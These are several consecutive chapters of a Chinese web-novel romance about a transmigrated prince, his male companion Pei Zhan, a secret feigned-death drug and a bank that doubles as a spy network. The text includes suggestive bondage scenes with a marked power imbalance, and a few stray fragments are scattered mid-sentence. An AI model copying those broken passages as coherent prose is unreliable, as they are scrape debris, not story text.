嵇燕台笑吟吟地打趣着人,裴湛似乎以为自己在敲打他,神情收敛,轻声道:“我是王爷的房里人,知晓本分。” 嵇燕台眨眨眼,“夸你呢。“ 裴湛也没说不信,只沉默地笑了一下。 嵇燕台盯了他一会儿,忽道:“嗯,湛湛如此美味,本王还是想要服侍的。” 裴湛记着岭南王的叮嘱,命人从库房取了那株百年参王,亲自送往常有道暂居的偏院。 偏院内,药香弥漫。 常有道正在整理银针,见到参王,眼中闪过一丝惊叹。 他说话和做事都干脆,并未过多推辞,总归自己便是为它而来的。 裴湛没急着走,又问了裴允书的状况。 常有道捋着胡须,沉吟道:“小公子身体底子调养得不错,元气渐复。至今不言不语,非是喉舌有疾,实是惊惧过度,心神封闭所致。” “此症汤石之力有限,需待一个契机,或能豁然开朗。” 三个字,急不得。 裴湛心中早就有数,“有劳先生了。” 常有道又道:“侍君伤势恢复甚佳,再针灸几日,疏通残余淤堵即可。日后只需按时用药育,小心养护,半年内不提重物,便无大碍。” 言语间,已透出几分辞行之意。 裴湛听出这层意思,犹豫片刻,低声道:“府医不及先生,常老先生如今年事已高,何不留在王府中… “王爷会很器重您的。” 岭南王对这位民间神医的招揽之意,裴湛看得一清二楚,听到常有道说王府金贵,自己是粗野村汉,不由得陷入沉默。 裴湛离去不过一盏茶的功夫,嵇燕台的身影便出现在了偏院门口。 常有道似乎有所预料,放下手中的药材,躬身行礼道:“王爷。” “常先生不必多礼。” 嵇燕台随意地摆摆手,自顾自在院中的石凳上坐下,示意常有道也坐,“今日无事,找先生喝杯茶,聊聊天。” 嵇燕台端着茶杯,笑着问:“那株百年参王的品相,先生可满意?” 常有道也笑呵呵的,“平生未见。” 嵇燕台对这个老神医还算了解。 原著中,常有道幼时师承名医,却因不满师门故步自封,私阅禁方,钻研偏门之术,被师傅逐出师门,无人再敢收他。 此后,他游历天下,专攻疑难杂症,研究出一套离经叛道的独门医术,可断肢续脉,甚至对假死药也有所涉猎,却只在民间活跃。 古代社会,好医生的含金量谁懂。 嵇燕台啜了口茶,“老先生是真性情,不喜弯弯绕绕,本王便直言了…… “留下来吧,为本王效力。” 嵇燕台深知不能得罪厨子和医生的道理,语气温煦道:“放心,本王不会亏待先生。” “王府库藏各类珍奇药材,可任先生取用,纵使没有,本王也能命人为你搜取,还能为你建造岭南最大的医馆,广纳病患,积累万千医案,供你钻研。” “常先生毕生所求,不过如此吧?” 常有道是个医痴。 若非如此,他也不会为了那株参王住进岭南王府了,只是他也知道,王公贵族多辛密,他区区一介民间医者.… 人只有活着,才能继续研究医术。 然而,岭南王这番话语极具诱惑力,正好戳到了他的心口,常有道的眼中爆发出惊人的亮光,呼吸都急促了几分。 天下医者,谁不渴望无尽的资源? 他踌躇道:“王爷有何嘱咐?” 嵇燕台看着他的反应,唇角微勾,抛出了最终的目的:“放心,先生大才,本王爱才,只需你替本王做一件事。” “何事?”常有道问道。 “研制一种药。”嵇燕台压低声音,却字字清晰,“一种能让人呼吸心跳俱停的……假死药。” 院中一片寂静。 常有道握着茶杯,沉默了许久许久。 最终,他抬起头,眼中闪烁着医痴面对至高挑战时的狂热与挣扎,声音嘶哑地问:“.……爷方才说,天下珍奇药材,皆可任老朽取用?” 嵇燕台轻笑一声。 他知道,常有道答应了。 “自然,”他举起茶杯,“只是这味药需秘密研究,你知我知,不可外泄。” 另一头。大书房。 裴湛送完参王,又开始处理府中内务。 他心中记挂着霁灵帝手稿的翻译与研读,也不觉得累,径直往书架后钻,却在翻到箱底时,动作猛地一顿住。 原因无他。 只因箱子的最底层,多了一册陈旧的纸本。 昨日还没有的。 ………是岭南王放进去的? 裴湛的脑中陡然浮现男人往自己怀里塞母本的那一幕画面,不由得敛下眸子。 奖励什么? 他想起昨夜睡前的事情,暗呼出一口气,然后拿起了那册蓝封纸簿。 封面上没有任何字迹。 裴湛翻开纸页,发现里面的字迹,与那些手稿上的字体同源,依旧是那种需要费力辨认,夹杂着大量奇怪符号的‘天书 文字。 每一页记录的内容长短不一,似乎是一些零散的随笔札记,甚至还有奇怪的图形和算式。 又是霁灵帝亲笔。 裴湛翻回第一页,决定从头开始翻译。 这一页的内容很短,只有孤零零的两行字。 凭借着这段时间摸索出的规律,他凝着身,一字一字地辨认和解读。 终于,这两行字在他脑中逐渐清晰。 【别忘了你是谁。】 【别忘了你从哪里来。】 最后似乎是一个落款,但被浓重的墨迹涂抹掉了,只剩下三个模糊不清的墨团。 【—m】 果不其然。几息后。“.…翌日。果然。茶水氤氲 ….奖励? 295、Chapter 295 根据嵇燕台观察—— 裴湛这几天有些不对劲。 具体表现有二。其一,是他呆在书房里的时间愈发长久了;其二则是他时常流露出困惑之色,仿佛遇到了什么难题。 嵇燕台不理解。 不是给了翻译母本么? 嵇燕台当年埋那个箱子,本就不是留给旁人看的,自然没有附带翻译母本。那个册子还是他前阵子亲手写了,命人做旧,才送到裴湛手里的。 依照那人的才情,没道理看不明白。 真是奇了怪了。 这日,一场冷空气袭来。 天色铅灰,厚重的云层压着屋脊,东升的太阳被挡得严严实实,不见光。 不多时,豆大的雨点便噼里啪啦地砸落下来,在青石板和泥土上溅开一朵朵浓重的墨团。 雨声哗哗,天地间一片朦胧水汽。 嵇燕台心血来潮,命人在廊下支起一个小炭炉,架上铁网,摆上切得厚薄均匀的白年糕片和几个饱满的黄皮橘子。 年糕烤得焦黄鼓起,米香诱人。 橘子皮在炭火的炙烤下微微发黑,溢出酸甜滚烫的汁水。 他免了叔侄俩今日的课业,让人将他们领到廊下作陪,连大福都被侍女从狗窝里挖出来,一路抱过来了。 霎时间,廊下热闹起来了。 炉子和桌椅摆得满满当当,大大小小坐了半圈,松狮犬的鼻子耸了耸,很快睁开了眼睛,围着炉子转圈。 见人都到齐了,嵇燕台犯了爹瘾,兴致勃勃地开始挨个考较功课。 第一个被点名的是大福。 嵇燕台往炉子上放了一块肉干,又伸出一只手,发出指令, “大福,握手。” 松狮犬眨巴着黑豆眼,很快便伸出毛茸茸的胖爪子,搭在男人手上。 嵇燕台先是跟它握了握手,然后又发出转圈、卧倒等指令,最后他做出一个奇怪的手势,冲松狮犬脑门一比划, “砰。” 指令一下,大福立刻四脚朝天,舌头一吐,圆眼睛一闭,一动不动。 “好孩子。” 嵇燕台满意地点点头,投喂肉干。 大福一跃而起,欢快地摇着尾巴叼走。 第二个,轮到裴允书了。 在上一世,嵇燕台的控制欲一日比一日强盛,哪怕现在的境况有所改变,但仍旧保持在高水平线。 裴允书的课表本就是他安排的,先生定期还要上交学习进度报表,因此,他很清楚裴允书的学习情况。 “嗯,小允书就展示一下武师傅教的强身健体的五禽戏吧。”他悠然道。 裴允书被点名,抿了抿唇,就在廊下有限的空地里,一招一式地打了起来。力道虽有不足,架势却有模有样的。一套打完,小脸红扑扑的。 嵇燕台手里正剥着一个烤熟的橘子,随即递过去几瓣,拖长声音道:“嗯,不错不错,男孩子还是得学武术。”压力给到最后一人。 嵇燕台瞥了眼在身边安静坐着的青衣男人,语气随意,“湛湛,你呢?” “书房里的东西可看明白了?本王让你写的那篇阅后心得,什么时候都呈上来?” 裴湛低声道:“尚未。” 听到这话,嵇燕台挑眉,脸上露出恰到好处的惊讶与一丝不悦,“哦?可是近日天气太冷,流连床榻,因此懈怠了?” 说着,他的目光扫过一旁的裴允书和松狮犬,颇有几分公开处刑的意味。 裴湛哪里看不懂岭南王的意图? 偏偏被裴允书和大福看着,他的声音不自觉更低三分,“是王爷上回赏赐于我的那册随笔,其中的字句尤为艰涩古怪…… “故而耽搁了。” 嵇燕台眸光一闪,脸上的微笑却纹丝不动,只拿起铁钳,戳了戳网架上那块烤得滋滋冒泡的年糕,语气淡淡, “既是如此,便是功课未完成。” “不仅奖励没了,本王还得罚你。” 他抬起眼,似笑非笑地盯着裴湛,“稍后本王随你去书房加课,说不定……还得打手板,让你长长记性。” 裴湛被他当着允书的面如此训诫,虽知岭南王多半是戏谑,面上平静,心中仍是生出几分不自在。 他敛下眸,“是。” 嵇燕台也收回视线,盯着那块烤焦了的年糕,眸色陡然暗沉下来。 随笔小册? 哪来的随笔小册?. … 小烤炉里的炭火燃尽了,只剩一团灰白的细尘。年糕最是填肚子,今日的午膳原模原样地撤了下去。 连翘领着裴允书和大福回侧屋午睡。 裴湛就没有这个待遇了。 到了午后,这场冷雨下得更繁密。 天色沉如夜,书房内灯火通明。嵇燕台慵懒地坐在属于自己的那张大桌后,手里把玩着一把做工精致的戒尺。 “啪、啪啪。” 他持着戒尺,轻轻往自己手心拍打,发出清脆的空响,而裴湛静立于案前,如同被先生留下训话的学生。 嵇燕台最近鲜少踏足书房,非常体贴地将这个空间留给了裴湛,以至于……发生了他掌控之外的事情。 他笑了笑,放下戒尺, “当真以为本王要罚你呢?不过是当着孩子的面,逗逗你这个当小叔的罢了。上回本王说要严罚你……是不是也雷声大,雨点小?” 他说的是裴湛偷听那回。 一百个巴掌,他只落了两下。 “哪里看不明白?让本王瞧瞧。”嵇燕台稍稍坐直了些,如此说道。 裴湛沉默片刻,取出那本被翻阅过数遍的陈旧小册,双手奉上,“王爷,鸿兴钱庄的联络之法,裴湛已有对策,只是此书的字句实在古怪异常……“ 嵇燕台嘴角不着痕迹地一平。 他接过那本书册,快速翻了个遍。 好家伙。 这东西是哪里冒出来的? 嵇燕台曾在冷宫呆过很长一段时间,那时他还是一个活不过三集的宫斗小废物,堪堪回档了几次,绞尽脑汁地想对策,想破局之法。 这本册子正是他当时写下的日记。 里面充满了只有他自己才懂的词汇,和情绪化的涂鸦和吐槽。 裴湛能看懂就有鬼了。 问题是……这东西早就该湮灭在霁朝的历史长河中了,怎么会出现在这里? 真相只有一个。 世间没有鬼,只有心怀鬼胎的人,以及神出鬼没的系统。 嵇燕台心中不爽,无声道:“系统,你想搞事?” 脑海深处一片死寂。那个恋爱脑系统如同彻底消失了一般,毫无回应。 嵇燕台:“你死了?” 系统空间内。 NO01蹲在光屏前打呼噜,听到这句好优美的普通话,凑近光屏,诡异地发现宿主的怒气值不高,顶多有点不爽。 “诶?” 没生气啊? 嵇燕台很想翻白眼,但他盯着手里的册子好一会儿,忽然低笑一声,冲桌前的裴湛找了招手,“别傻站着了,过来坐。”“本王今日就当一回教书先生,为湛湛解惑,好不好?” 他说得脸不红心不跳,见裴湛想要将自己的椅子搬过来,一拍自己的大腿,“你搬不得重物,直接坐本王怀里便是。” “你我之间,无须讲究繁文缛节。” 片刻后。 怀里多了个坐得笔直的人,嵇燕台很自然地抱住那截柔韧的腰身,又将下巴扣到他肩上,开始翻日记本。 “哪一页?你指出来。” 裴湛顿了顿,指尖轻轻一点,只见那页纸上画着一幅很潦草的关系图。 最上面是一只戴着绿色帝王冠冕的老王八,底下用线条连着好几只大小不一的小王八。每只王八都带有标注。 就比如,排列第一的那只小王八。 —人间油物。 裴湛迟疑一瞬,指尖指着这四个字,低声喃道:“这应该是霁灵帝继位前所作,代表了他的父兄,此处的油物是暗指…霁朝太子行事奢靡无度?”嵇燕台:“.… 别吵,正在憋笑。 他微微颌首,将脸埋进裴湛的后颈,呼吸有些不稳,热气全洒在那人的耳后,激起一片红。 “王爷?” 裴湛大概不知道他在发什么癫,回头望过来的时候,表情认真又茫然。 嵇燕台好不容易忍住笑,见状,玩心大起地凑近,刻意压低了嗓音,用一种低沉磁性的气泡音问道:“宝贝儿,你想知道人间油物”是什么意思么?” 那声音黏腻得仿佛能拉出丝来。 裴湛的耳廓更红。 嵇燕台继续用那种能腻死人的语调,现场教学,“就像本王这般言行,让旁人听了浑身不适,仿佛生吞了一大块猪油,糊住了嗓子眼,恨不得把隔夜饭都吐出来……. “这就叫 油’。” 窗外雨声连绵,书房里寂静。 裴湛沉默了好半晌,低声说:“王爷方才那般,裴湛并未感到恶心。” 哇噻。 嵇燕台眉梢轻挑,有被哄到。 他微微一笑,说:“你这么乖,本王一定会悉心教导,让你得偿所愿。” 他一定会,得偿所愿. …… 这场雨连着下了小半个月。 半个月后。 距离岭南千里之远的槐安城,第一家鸿兴钱庄内,掌柜正核对着账目,忽然收到伙计呈上来的一封密信。 掌柜漫不经心地瞥了一眼,脸色猛地一变,“这是谁送来的?!” 他霍然起身,仔细地核对着信上的特殊暗记,确认无误后,立刻吩咐心腹伙计, “快!立刻将此信送往家主手中!” “十万火急!” 296、Chapter 296 江南,谢家宅邸。 书房里燃了香,多宝格与桌案上摆着许多精致古玩,样样件件都是重中之重,代价不菲,寻常人难能一见。 然而,谢家家主——谢怀恩的目光却落在桌上一封看似普通的信件上,眉宇间带有常年经商积攒的精明和一丝不易察觉的凝重。 “叩、叩叩。” 他的指尖无意识地敲击着桌面。 正当他伸出手,想要拆开密信的时候,一个穿着锦缎华服的少年人冷不丁推门而入,半点规矩不讲,举止隐约透出几分浪荡气。 “爹,不是说好了 谢怀恩是个中年男人,面容清俊如文士,见少年贸然闯进来,顺势将密信收入袖中,皱着眉,厉声呵斥:“谢追,你就不能长长记性,改一改这轻浮的性子?”“出去!” 谢追挨了一通骂,非但没走,反而笑嘻嘻地凑上前,“有古怪,你不是早就习惯了吗?这么生气做什么?岂非是虚张声势?” 谢怀恩:… 这个逆子。 谢怀恩板着脸,想要将这个不省心的儿子推远些,不料这一动作,竟让谢追眼疾手快地从袖中夺过那封信,“哎哟,究竟是什么宝贝,能让爹您这么紧张?” 谢追一看到封口的火漆印章, “鸿兴钱庄?” 别看谢怀恩是当下的家主,但他在经商上并无天分,反倒是谢追,自幼便将算盘打得飞起,脑筋十分活络。 如今谢家的生意,已有半数是他在操持。 谢怀恩被他抢了信,气得脸都红了,“你快把信还给我,这跟你没关系!” “怎么没关系?” “爹啊,不是我说,”谢追一边灵活躲闪,一边嬉皮笑脸地说,“您还以为鸿兴钱庄的事情能瞒得住我?” “我早就知道了。” 谢怀恩眼前一黑,又听那逆子说道:“咱们谢家做生意向来讲究光明正大,你倒好,偷偷摸摸地经营钱庄,藏头藏尾的…….”“莫非是在做些见不得光的勾当?” 谢追晃了晃手里的密信,眼中闪烁着好奇与试探,“我可是板上钉钉的谢家下一任家主,爹您就提前透个底呗?” 谢怀恩追得气喘吁吁,风姿不再。 他扶着桌角,脸色变幻不定,听到谢追坦荡荡地提及下一任家主’,犹豫良久,最终像是下定了决心,长叹一声。 “这本该是家主才能知晓的秘密。” 他本打算待谢追再沉稳些才告知,可这封突如其来的密信打乱了一切。 “鸿兴钱庄……并非你想象得那么简单。”谢怀恩沉着声,“谢家能如此风光,皆是你曾祖父一手闯出来的基业。” 说着,他走到多宝格旁,取下一个不起眼的檀木匣子,然后又从珊瑚盆景处摸出一把形状怪异的钥匙,将其打开。 东西都藏在明面上,却难以发现。 见状,谢追挑眉靠近。 就见盒内躺着一枚温润通透的圆形玉佩,中央雕刻着一个线条清晰的棱形图案。 正是鸿兴钱庄的独家徽记。 谢怀恩又叹了一口气,“世间已鲜少人知晓你曾祖父的出身,但我并没有瞒着你。” 谢追点点头,“霁朝老臣的后代。” “正是,”谢怀恩继续说,“鸿兴钱庄是你曾祖父谢县与霁朝九皇子一同创建的产业。明面上是钱庄,实则……是一个庞大的情报枢纽。” “幕后老板从来都不止谢家一个。” “这棱星玉佩,也不止一块。” 谢追脸上的嬉笑收敛起来,神情讶然。 谢怀恩的目光悠远,“后来皇权更替,霁朝陡然倾覆,宗家迁离槐安,你曾祖父这一支则被逐出本家,另起炉灶。” 谢追盯着盒中的玉佩,皱眉道:“这么说,曾祖父从未停止效忠那位九皇子?为何?最是凉薄帝王家,曾祖父为何如此……” 他想了想,吐出四个字, “死心塌地?” 要知道,霁朝早已成了历史,如今已是晟朝的天下,那位霁朝九皇子……更是得了“霁灵帝’这一恶谥,而自家居然还保留着鸿兴钱庄?谢怀恩闭了闭眼,仿佛回到那个午后。 那时,他还是个不谙世事的孩童。 祖父谢昙已是弥留之际,满头银发,气息微弱地躺在榻上。 满堂儿孙跪在床前哀泣。 祖父用尽最后力气,抓住他父亲的手,重复着那向叮嘱,“记住,为父留给你的东西,跟你说过的话.… 父亲泪流满面,连连叩首应承。 “是,永世不违。” 谢昙望了一圈床边的儿孙,浑浊的眼中闪过一丝释然,随即盯着头顶的帐缦,微笑着吐出了最后四个字。 “——这是诺言。” 书房里,谢追听完了这个谢家家主才知晓的秘密,又听谢怀恩语气沉重道:“鸿兴钱庄没有效忠之主,多年来,一直是清白商铺,不知这封密信会引起怎样的变故……说完,他探出手, “好了,把信还给我!” 谢追眨眨眼,不仅没归还那封密信,还一把夺过怀中的圆形玉佩,往自己怀里塞,“不还,儿为爹分忧,这是儿的本分。” 谢怀恩一拍桌子,喝道:“谢追!” “你自小聪明,当知晓轻重,如今你还不是家主,鸿兴钱庄之事还轮不上你!” 见向来讲究风度的父亲彻底急了眼,谢追不再嬉闹,神情变得严肃,“爹,你似乎将鸿兴钱庄和这封密信当成了烫手山芋,话中隐有勉强,却还要郑重对待…“ “我认为,这封密信未必不是谢家的机遇。” 谢追冷哼一声,继续说:“咱们谢家看似花团锦簇,实则烈火烹油!” ….开春了。 “那位姜大人的胃口越来越大了,为了讨好太子,恨不得将江南豪绅当成他自己的钱袋子,谢家首当其冲。” “他为刀俎,我为鱼肉。” “恐不得善终啊!” 谢追说完,望着父亲松动了几分的神情,掏出怀中的圆形玉佩,在眼前晃了晃,心中不自觉生出一股巨大的好奇,以及一股难以言明的情绪。 背后之人,究竟是谁? 难不成真是那位霁灵帝的后代? 这个冬天,岭南又下了好几场雨,陆陆续续下到了天气回暖,庭院中的花草像是一夜之间抽出了新芽,绿得娇嫩。 天色暗得慢了,天边的黄昏更是溢出一抹温柔的橘紫,被天上的人轻轻吹了一口气,不紧不慢地熄灭了。 岭南王府主院。 嵇燕台刚刚洗漱完毕,身上仅披着一件宽松的寝衣,湿漉漉的长发披散在肩后。 他正等着侍女替自己擦晾头发,一个身影却悄无声息地走进来,接过侍女手中的干布,动作娴熟且轻柔。 嵇燕台闭着眼,嗅到一股幽香。 浴室。“过来。” “回来了?” 不等身后之人回话,他反手将人拉到自己腿上坐下,指尖无意间拂过对方的发丝,拈下一片小小的梧桐残叶。 嵇燕台一手搂腰,另一手把玩着那片叶子。 裴湛瞥见他指尖的叶片,动作一顿,“我身上脏污,恐污了王爷…… 他说着,便要起身。 嵇燕台的手臂愈发收紧,不让他离开,很无所谓地道了声,“既然脏,那本王便再洗一遍。” 他嗅了嗅裴湛那截细长的颈,先前淡了几分的幽香又浓起来了,浸透了皮,往血肉里钻,诱着人去吞食。 距离那场续筋术,已过数月。 嵇燕台早就结束了忌口期,把人吃了又吃。 浴室中的水汽氤氲,侍女早就退下了,他拎着早就备好的两条红绸,挂到软榻旁的架子上,等裴湛从浴池中走出来,冲人点了点下巴。 裴湛湿着发,浑身都在滴水,十分自觉地跪到了软榻上,紧接着就被男人提着手肘,高束起了双臂,以免手腕不慎受力。 尽管天气回温,身上湿着总是不好受。 嵇燕台扯来一块干布,替裴湛擦干水珠,那人却晃晃悠悠的,跪都跪不稳了,他笑了两声,“怎么了?是这棉布太粗糙?” 裴湛哪敢说真话,只沉默点头。 见状,嵇燕台丢开棉布,搂着人,耐着性子轻声问询,一副温温柔柔的模样。 两段红绸绷紧。 底下系着的两截手腕也不自觉抓着空气…. 睡前,嵇燕台忽然听到怀中人开口说话,嗓子哑得很,“王爷,我与鸿兴钱庄幕后之人的通信已持续两月,也是时候携信物,当面一晤了。”他顿了顿,又道: 抓了个空。半晌。什么鬼。 “听说谢家家主性情沉稳,我却觉得回信之人的年纪不大,信中言辞颇有锋芒。” “王爷觉得…… 嵇燕台洗了两回澡,整个人懒悚的,似乎昏昏欲睡,话音拖得极长,“不要‘本王觉得’,你既掌此事,自行决断便可。” 裴湛听到这话,不再多言了。 他轻声道:“多谢王爷。” 嵇燕台已经睡着了。 不知为何,睡到后半夜,他忽然陷入了纷乱的梦境。 梦中光怪陆离。 嵇燕台看到一只脑门写着五’字的巨型王八人立着,迎面走来,表情阴鸷极了,狠狠撞上他的肩膀,低声威胁道: “九弟,倒是小看你了!” 画面猛地一切。 是下人惊慌来报,“九殿下,不好了!” 嵇燕台看不清那个下人长什么样,只觉得他的脸好似一团漩涡,看得人天旋地转,“谢、谢昙公子……在长街被一醉汉当街砍死了!” “那醉汉已被缉拿。” “说是醉酒闹事,误伤了人命… 槐安的冬天真冷啊,刚一入冬,鹅毛大雪就扑簌簌地往下飘,没过几天就将青石长街染成了一片白色。 新雪掩盖了陈旧的血痕。 纸钱也在飘,合着雪,飘了好远。 嵇燕台站在宫苑一角,眺望着宫墙外的雪,身后传来一阵脚步声,谢昙看了他好 会儿,不明所以地问道:“九殿下,你在看什么呢?” “看雪。” “比起上一回,还是一样冷。” 然后,他又听到自己叹了口气,缓声道:“谢昙,把鸿兴钱庄关了吧。” “你……回家去吧。” 听到这话,少年瞬间炸毛,像只被踩了尾巴的猫,“怎么好端端地说这个?鸿兴钱庄费了你我那么多心力和财力,怎么能潦草倒闭?!” 好一阵沉默。 忽然,谢县笑了笑,眉眼带着少年人的狡黠和早熟,“九殿下,当年您在上书房故意藏拙,我爹私下却说,您那是珠玉蒙尘,心有大志。”他掏出怀中的玉佩,眼神亮得惊人, “怎么?” “您不记得这是什么了吗?” 见此情形,嵇燕台一扫心中沉甸甸的思绪,也笑出了声,冷不丁抬手跟对面的人碰了个拳,“当然记得了,我们都有光明的未来 …这是诺言。”他说。 下一瞬,视角忽然调转。 嵇燕台看到了一只流泪王八头。 他刷地睁开了眼睛。 做噩梦了,梦到自己长了一个……头。 屋里暗沉沉的,嵇燕台还来不及思考这个梦的由来,就被手臂传来的一阵麻意打断了思绪。他一扭头,发现裴湛正枕着他的上臂,睡得沉静。 墨发铺散,有几缕还压在他的颈下。 嵇燕台静静地看了他片刻,再一回神,忽然发现那个诡谲的梦境内容已经模糊了。 他懒得再去想,干脆忙点别的事情。 裴湛是被吵醒的。 他长睫轻颤,悠悠转醒,听到自己的声音在床榻间曲折回荡,而身后的岭南王也不安静,正一下下地数着数。 所幸他困意未消,好久没反应过来,这才没让那人发现自己醒了,否则……又要被那人细细问询了。 不答又不行。 那人数到最后,裴湛已经记不清几是几了。 他盯着床榻里侧,看不清帐缦的花纹,眼眶热得慌,好不容易安静下来了,又听呼啦一声—— 原来是岭南王揪起落到一旁的锦被,长臂猛地一挥,将他们两人从头到脚裹进被子里,严严实实的,连个气口都没留。 好闷。 好热。 呼吸不过来了。 就在这时,裴湛感到男人的额头贴上了自己的后肩,他低声说着话,热气喷洒,宛如一团团带着潮气的火,很烫人。 ……他在说什么呢? 裴湛不由自主地屏住呼吸,留心倾听。 于是,他听到岭南王轻声呢喃道: “我躺在被子里,很暖,很舒服,旁边是我的漂亮小老婆,他睡着了,我也快要睡着了。” “湛湛,晚安。” …. 297、Chapter 297 裴湛被闷出了满脸汗。 他闭上眼恍惚中,好似回到了很久之前的一个夜晚——自己站在房门外,听着屋中传出的童稚泣音,心提到了嗓子眼却狠心地站在原地。 很快,哭声停歇了。 取而代之的,是男人漫不经心的告诫,一连警告了屋里屋外两个人,再然后,是他放低声量,引导夜惊的裴允书安然入睡…… 此时此刻。 场景似乎再现了。 只是他从头到尾都在装睡,也没有表现出夜惊的症状,岭南王这番言语又是在哄谁呢? 裴湛用力闭眼,鼻尖冒汗。 洒在后肩的呼吸是那样滚烫,几乎将他的肌肤灼伤。裴湛不敢睁开眼睛,也学着男人教导的那般在心里默数,排除杂念。 这段时日,他从岭南王身上学到了许多。 那人先是环抱着自己,引着自己翻阅、读通了那本霁灵帝随笔小册,随后在他跟鸿兴钱庄联络之时,隔三差五地丢过来一张考题,要他作答。 考题跟科举试卷相差甚大。 里头罗列了诸多险局,甚至是死局。 字里行间全是刀光剑影,他必须捕捉题干中的丝丝缕缕线索,写出破局之法,每一道题目都必须倾尽心神,稍有不慎,便是满盘皆输。 裴湛做的题越多,越是感触。 ……岭南王的心术究竟有多深沉呢? 他握着自己的手,提笔写下的每一个字,都像是从尸山血海里杀出来的。 忘了数到几了。裴湛木然想着。 岭南王在床事上索求无度,花样繁多,不把人折腾到满脸泪痕就不算完,实在让人招架不住,事后想起来,亦是难堪。 这深更半夜的。 只浅浅来了一回,已经算好了。 这时候暴露自己神智清醒,实在不是一个明智之举。裴湛下定了决心,脑中却不期然浮现了一幕画面。 那是半个月前的事情了。 时辰将近傍晚,他从书房出来,正巧撞见岭南王跟允书一道迈出小书房。 透过窗户,他看到桌上还没收拾的棋盘。 当晚,裴允书留下来用膳。 不知为何,他在席上总是睁着那双水汪汪的大眼睛,直直盯着两位长辈看。 裴湛莫名生出两分心虚,以为自己颈间留有痕迹,被侄儿窥见了。 没办法。 岭南王所到之处,没有镜子供他自检。 不料,晚膳过后,岭南王在允书的注视下,差人去坊间买了一包蜜饯回来,亲手塞进了自己的手中,悠然道:“愿赌服输。“ 裴湛不明所以。 岭南王笑而不语,裴允书却是真的说不出话,只好戳着短胖的食指,在他手臂上写了好一长串话。 裴湛这才知晓了来龙去脉。 原来裴允书此前数次给自己送蜜饯,多半是跟岭南王下棋输了,遵循男人的吩咐,将彩头转送给了自己。 今天,是他第一次赢了棋。 彩头却仍旧是裴湛收。 现如今…… 那包蜜饯还没吃完,剩了小半。 裴湛愈发觉得闷,整个人裹在被子里,几乎喘不过气来,身上发了汗,背后的呼吸将困意赶出了十万八千里,无论如何都睡不着了。 他睁开眼,迟疑了好半晌,才缓慢地动了动手脚,低声唤了声,“王爷,实在闷热…… “可否将被褥揭开些,透透气?” 话音刚落,肩后的呼吸似有停顿。 嵇燕台有些惊讶。 他不是惊讶裴湛的声音透着清明,极具装睡的兼疑 毕竟他就是装睡界的一把好手,裴湛的呼吸一不对劲,他就发现了——而是惊讶于裴湛居然在此刻开口了。 他就不怕自己兴致大发,搞新花样,让他两天都下不得床,只能在榻上修养? 嵇燕台觉得裴湛的胆子有点大。 他揭开被子,将两人的脑袋露出来,又掐着裴湛的腰,把人转了个向,跟自己面对面。 屋中昏暗,角落的烛光暗淡极了。 嵇燕台却清晰地瞥见他那一脑门的汗。 也不全是汗水。 嵇燕台深深地望进那双盈润的眼,仿佛风吹过海面,撩起了一片片皱褶,幽蓝中闪烁起银亮,睫毛未端悬挂着一朵没有消散的水花。 然而,裴湛不是那样脆弱的东西。 这道认知并非从原著小说,或是其他途径中产生的,而是经过嵇燕台自身的丈量、侧写、与反复挑剔。 他更像是藏在海面下的石头。 思忖间,嵇燕台曲起食指,刮蹭掉他鼻尖的汗水,笑着问道:“还热吗?“ 裴湛没有躲,只是下意识地闭了闭眼。 嵇燕台继续问:“什么时候醒的?” 裴湛语塞。 好在嵇燕台也不是真的要他给出切确答案,又自顾自地撩他的睫,意味深长地道了声, “我以为你睡得熟,不会醒。” 不管裴湛出于什么目的,嵇燕台的心情确实好转了许多。 心情好了,人都多了两分体贴。 原本嵇燕台打算就这么睡下的,此刻他却忽然掀开锦被,不由分说地将裴湛抱坐起来,惹得那人下意识环住了自己的脖颈。 实际上,夜间没那么热。 微凉的空气瞬间包裹住两人。 嵇燕台没有叫水,或是唤人进来伺候,而是松开裴湛的腰,两手一扯,就将身上那件蚕丝寝衣褪下来了。 他拍了拍裴湛的大腿,示意道: “宝贝,得擦干净。” “否则……你明天要遭罪了。” 嵇燕台没再戏弄他了,而是动作很快地清理干净,又将人一把塞进被窝里,然后踱步到桌边,喝了一杯温水。 裴湛侧抬着脸,瞥见男人轮廓愈发精炼的后背线条,忽然听到他拖长尾音道:“湛湛,现在可是你吹枕头风的好时辰。” “你想说点什么吗?” “本王这会儿高兴,有问必答哦。” 闻言,裴湛心头一跳。 他的脑中思绪纷杂,有一腔的话堵在喉跟。 比如,岭南王之前给他的那册翻译母本,纸张陈旧,墨痕微褪,可裴湛凑近了,却隐约嗅到一股极淡的香气。 如果没有记错的话,那味道出自于一种很名贵的香墨,世间存量极少,他曾在恩师容含章的书房内见到过一次。 最重要的是…… 这香墨是近年出现的珍品。 再比如,为何岭南王能轻易读懂霁灵帝的随笔小册?还能深入浅出地向自己讲解? 此刻,男人的心情大好。 正如他所言,对于裴湛来说,这是个好机会。 裴湛的思绪飞转,几乎要问出声来。 可最终,他还是将那些疑问尽数压下,缓慢地坐起身来,轻声说了一句毫不相干的话,“那包蜜饯还没吃完……. “再放着,怕是要坏掉了。” 嵇燕台觉得他这话题转得实在生硬,又莫名有趣,忍不住轻笑了两声,随即翻出了那包蜜饯,重新坐回床边。 他捻起一粒,塞到那人口中, “你还怪爱吃甜的。” 窗外的天色,在无声无息间,悄然染上了一抹朦胧的灰白。月光掺在里头,透着一股凉。 嵇燕台静静地看着裴湛靠在床头吃蜜饯。 不料这人忽而掀起眼帘,回望过来,神情有些犹豫,不知在想些什么。 嵇燕台眨眨眼,“怎么了?” 话音落下,裴湛也捻起一枚蜜饯,缓缓举到了嵇燕台的唇边,“王爷也用些吧。” 嵇燕台盯着人,眉梢轻挑。 片刻后,他张嘴,将那蜜饯纳入口中,唇瓣碰到了裴湛的指尖,随后谁也没说话,屋子里只有细微的咀嚼声。 蜜饯很甜,甚至甜得有些发腻。 嵇燕台觉得裴湛进步很大,很沉得住气。 他都有些看不透了。 半晌。 嵇燕台实在忍不住,拍了拍裴湛的头顶,每一个字里都带着笑意,像是收到了一份格外满意的答卷,“真是孺子可教也。” … 又过了几日。 岭南的春意来得又快又急,天气更暖。 嵇燕台一早命人收拾出马车和随行物品,打算带着裴允书和大福外出踏青,小孩儿知道消息后也跟着收拾,怀里抱着棋盘,也想塞到马车上。 大福跟着他跑来跑去,快活极了。 出发时,日头已近午时。 好在太阳不晒人,反而暖烘烘的,裹在身上舒服得很。嵇燕台一上车就歪靠着,没个正形,裴允书抱着狗,瞥着外头的街景。 “刷刷。” 嵇燕台抬眼,衣袖被人扯了两下。 